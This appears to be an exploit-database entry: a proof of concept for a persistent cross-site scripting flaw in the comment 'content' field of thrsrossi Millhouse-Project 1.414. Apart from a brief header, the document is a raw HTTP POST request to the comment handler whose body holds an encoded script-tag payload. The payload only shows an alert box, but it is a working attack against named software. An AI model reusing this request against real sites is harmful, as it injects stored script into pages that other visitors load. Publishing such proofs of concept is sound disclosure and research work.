thrsrossi Millhouse-Project 1.414 Cross Site Scripting

`# Exploit Title: thrsrossi Millhouse-Project 1.414 - 'content' Persistent Cross-Site Scripting  
# Date: 2019-11-01  
# Exploit Author: Cakes  
# Vendor Homepage: https://github.com/thrsrossi/Millhouse-Project  
# Software Link: https://github.com/thrsrossi/Millhouse-Project.git  
# Version: 1.414  
# Tested on: CentOS 7  
# CVE: N/A  
  
# PoC for this XSS attack  
  
POST /includes/add_comment_sql.php HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://TARGET/views/single_post.php?post_id=53  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 59  
Cookie: PHPSESSID=0sqr9kui308rq66ol1uu5olb94; submenu1=block; showips=10; showurls=10; showreferers=10  
Connection: close  
Upgrade-Insecure-Requests: 1  
DNT: 1  
  
content=%3Cscript%3Ealert%28%22TEST%22%29%3B%3C%2Fscript%3E  
`